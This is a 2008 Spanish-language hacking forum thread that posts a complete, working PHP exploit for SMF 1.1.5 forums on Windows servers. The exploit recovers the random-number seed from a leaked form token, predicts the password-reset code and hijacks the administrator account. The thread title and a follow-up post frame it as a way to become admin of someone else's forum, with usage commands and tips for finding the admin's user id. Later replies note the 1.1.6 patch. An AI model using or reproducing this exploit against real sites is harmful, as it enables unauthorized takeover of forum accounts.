elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Ingresar Registrarse
18 Noviembre 2008, 23:50  



+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Bugs y Exploits (Moderadores: sirdarckcat, berz3k)
| | |-+  Quieres ser admin en un foro SMF 1.1.5?
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Imprimir
Autor Tema: Quieres ser admin en un foro SMF 1.1.5?  (Leído 1462 veces)
WHK

Desconectado Desconectado

Mensajes: 889


+-=[Yan]=-+


Ver Perfil WWW
Quieres ser admin en un foro SMF 1.1.5?
« en: 07 Septiembre 2008, 04:57 »

El único inconveniente es que funciona para servidores que corren con Window$  :P (windows pwned!)

código:
Código
<?php
echo "---------------------------------------------------------------\n";
echo "SMF <= 1.1.5 Admin Reset Password Exploit (win32-based servers)\n";
echo "(c)oded by Raz0r (http://Raz0r.name/)\n";
echo "---------------------------------------------------------------\n";
 
if ($argc<3) {
  echo "USAGE:\n";
  echo "~~~~~~\n";
  echo "php {$argv[0]} [host] [path] OPTIONS\n\n";
  echo "[host] - target server where SMF is installed\n";
  echo "[path] - path to SMF\n\n";
  echo "OPTIONS:\n";
  echo "--userid=[value] (default: 1)\n";
  echo "--username=[value] (default: admin)\n";
  echo "examples:\n";
  echo "php {$argv[0]} site.com /forum/\n";
  echo "php {$argv[0]} site.com / --userid=2 --username=odmen\n";
  die;
}
 
/**
* Software site: http://www.simplemachines.org
*
* SMF leaks current state of random number generator through hidden input parameter `sc`
* of the password reminder form:
*
* $_SESSION['rand_code'] = md5(session_id() . rand());
* $sc = $_SESSION['rand_code'];
*
* Since max random number generated with rand() on win32 is 32767 and session id
* is known an attacker can reverse the md5 hash and get the random number value.
* On win32 every random number generated with rand() is used as a seed for the next
* random number. So if SMF is installed on win32 platform an attacker can predict
* all the next random numbers. When password reset is requested SMF uses rand()
* function to generate validation code:
*
* $password = substr(preg_replace('/\W/', '', md5(rand())), 0, 10);
*
* So prediction of the validation code is possible and an atacker can set his
* own password for any user.
*
* More information about random number prediction:
* http://www.suspekt.org/2008/08/17/mt_srand-and-not-so-random-numbers/
*
* More information about the behaviour of rand() on win32 (in Russian):
* http://raz0r.name/articles/magiya-sluchajnyx-chisel-chast-2/
*/

 
set_time_limit(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",10);
 
$host = $argv[1];
$path = $argv[2];
 
for($i=3;$i<=$argc;$i++){
  if(isset($argv[$i]) && strpos($argv[$i],"--userid=")!==false) {
      list(,$userid) = explode("=",$argv[$i]);
  }
  if (isset($argv[$i]) && strpos($argv[$i],"--username=")!==false) {
      list(,$username) = explode("=",$argv[$i]);
  }
}
 
if(!isset($userid))$userid="1";
if(!isset($username))$username="admin";
 
$sess = md5(mt_rand());
echo "[~] Connecting to $host ... ";
$ock = fsockopen($host,80);
if($ock) echo "OK\n"; else die("failed\n");
 
$packet = "GET {$path}index.php?action=reminder HTTP/1.1\r\n";
$packet.= "Host: {$host}\r\n";
$packet.= "Cookie: PHPSESSID=$sess;\r\n";
$packet.= "Keep-Alive: 300\r\n";
$packet.= "Connection: keep-alive\r\n\r\n";
 
fputs($ock, $packet);
 
while(!feof($ock)) {
  $resp = fgets($ock);
  preg_match('@name="sc" value="([0-9a-f]+)"@i',$resp,$out);
  if(isset($out[1])) {
      $md5 = $out[1];
      break;
  }
}
 
if($md5) {
  $seed = getseed($md5);
  if($seed) {
      echo "[+] Seed for next random number is $seed\n";
  } else die("[-] Can't calculate seed\n");
}
else die("[-] Random number hash not found\n");
 
function getseed($md5) {
  global $sess;
  for($i=0;$i<=32767;$i++){
      if($md5 == md5($sess . $i)) {
          return $i;
      }
  }
}
 
$sc = md5($sess . $seed);
$data   = "user=".urlencode($username)."&sc=$sc";
$packet = "POST {$path}index.php?action=reminder;sa=mail HTTP/1.1\r\n";
$packet.= "Host: {$host}\r\n";
$packet.= "Cookie: PHPSESSID=$sess;\r\n";
$packet.= "Connection: close\r\n";
$packet.= "Content-Type: application/x-www-form-urlencoded\r\n";
$packet.= "Content-Length: ".strlen($data)."\r\n\r\n";
$packet.= $data;
 
fputs($ock, $packet);
 
$resp='';
while(!feof($ock)) {
  $resp .= fgets($ock);
}
 
if(preg_match("@HTTP/1.(0|1) 200 OK@i",$resp)===false) {
  die("[-] An error ocurred while requesting validation code\n");
}
 
if(strpos($resp,"javascript:history.go(-1)")!==false) {
  die("[-] Invalid username\n");
}
 
srand($seed);
for($i=0;$i<6;$i++){
  rand();
}
$password = substr(preg_replace('/\W/', '', md5(rand())), 0, 10);
echo "[+] Success! To set password visit this link:\nhttp://{$host}{$path}index.php?action=reminder;sa=setpassword;u={$userid};code=$password\n";
?>
 
# milw0rm.com [2008-09-06]

Fuentes:
http://milw0rm.com/exploits/6392
http://www.jccharry.com/blog/2008/09/07/whk_vulnerabilidad-en-sistema-de-foros-smf-115-y-versiones-anteriores.html
En línea

* The Hacktivism is not a crime.
http://solid.jccharry.com/
Greencode WEB Kit by WHK

WHK

Desconectado Desconectado

Mensajes: 889


+-=[Yan]=-+


Ver Perfil WWW
Re: Quieres ser admin en un foro SMF 1.1.5?
« Respuesta #1 en: 07 Septiembre 2008, 18:16 »

Recuerda que solo funciona para SMF que esté montado en un servidor con windows debido a su limitación de la generación de números al azar con la función rand().

se usa mas masomenos así:
Código:
php ./smf.php www.foro.com / --userid=1

Donde se supone que el id 1 es el admin, puedes posicionar el mouse sobre el nick del admin de un foro y abajo te aparecerá el número de id en la variable "u" que por lo general es 1.

Lo que hace el exploit es un crackeo de la clave insegura que debuelve al resetear el password de alguien aprobechandose de la cantidad limitada por windows para generar tal código y por eso es que no funciona en foros que están montados sobre un servidor con Linux.

Citar
yan@yan-desktop:~/Escritorio$ php ./smf.php
---------------------------------------------------------------
SMF <= 1.1.5 Admin Reset Password Exploit (win32-based servers)
(c)oded by Raz0r (http://Raz0r.name/)
---------------------------------------------------------------
USAGE:
~~~~~~
php ./smf.php [host] [path] OPTIONS

[host] - target server where SMF is installed
[path] - path to SMF

OPTIONS:
--userid=[value] (default: 1)
--username=[value] (default: admin)
examples:
php ./smf.php site.com /forum/
php ./smf.php site.com / --userid=2 --username=odmen
yan@yan-desktop:~/Escritorio$
En línea

* The Hacktivism is not a crime.
http://solid.jccharry.com/
Greencode WEB Kit by WHK

Pollo5

Desconectado Desconectado

Mensajes: 419



Ver Perfil
Re: Quieres ser admin en un foro SMF 1.1.5?
« Respuesta #2 en: 08 Septiembre 2008, 05:36 »

Bueno contra este problema salio una actualizacion a SMF 1.1.6 para los que esten en windows ;) pueden leer mas aqui ;)

http://www.simplemachines.org/community/index.php?topic=260145.0

Saludos!
En línea

berz3k
Moderador
*****
Desconectado Desconectado

Mensajes: 600



Ver Perfil
Re: Quieres ser admin en un foro SMF 1.1.5?
« Respuesta #3 en: 08 Septiembre 2008, 13:24 »

Todo lo tengo en linux y parece que la version en win32 esta parchada, si alguien tiene la version vulnerable de la que estamos hablando para win32, postee link de descarga.

-berz3k.

En línea
sirdarckcat
sdc
Moderador Global
*****
Conectado Conectado

Mensajes: 4.877


HAND


Ver Perfil WWW
Re: Quieres ser admin en un foro SMF 1.1.5?
« Respuesta #4 en: 09 Septiembre 2008, 17:05 »

En línea

berz3k
Moderador
*****
Desconectado Desconectado

Mensajes: 600



Ver Perfil
Re: Quieres ser admin en un foro SMF 1.1.5?
« Respuesta #5 en: 12 Septiembre 2008, 02:30 »

Kool, he bajado las versiones mas viejas ya les comento

PD: Me habia olvidado por completo de google+hacks

-berz3k.

En línea
SisaR

Desconectado Desconectado

Mensajes: 373


UnnameD ´TdF´


Ver Perfil
Re: Quieres ser admin en un foro SMF 1.1.5?
« Respuesta #6 en: 24 Septiembre 2008, 17:53 »

No tengo muchos conocimientos en estos temas pero me surge una duda, tal vez sea estupida.

mi duda es la siguiente, veo que el exploit esta en .php , dando vueltas me tope con un video tutorial de hacking sobre este misma tema pero, el  caso es que se usaba el activeperl  y otra herramienta (http live headers), esas herramientas no se usan para exploit en perl?

esa es la situacion que me confunde un poco

perdon si es una pregunta tonta :)
En línea



s E t H

Desconectado Desconectado

Mensajes: 108


Ha tenido un sueño donde todos los pollos eran libres de cruzar una carretera sin tener que justificar sus actos.


Ver Perfil WWW
Re: Quieres ser admin en un foro SMF 1.1.5?
« Respuesta #7 en: 25 Septiembre 2008, 03:08 »

active perl es para perl... para php es php, aunque nunca lo usé
En línea

¡ENTRA EN MI BLOG O TE JUANKEO!



Citar
1 - 10 de aproximadamente 257.000 de "powered by phpbb" "hacked by". (0,33 segundos)
Páginas: [1] Ir Arriba Imprimir 
Ir a:  







Consolas     La Web de Goku     MilW0rm     MundoDivx

Hispabyte     Truzone     TodoReviews     ZonaPhotoshop

Foros de ayuda    Yashira.org    Videojuegos    indetectables.net   

Noticias Informatica    Seguridad Informática    ADSL    eNYe Sec

Todas las webs afiliadas están libres de publicidad engañosa.

Powered by SMF 1.1.7 | SMF © 2006-2008, Simple Machines LLC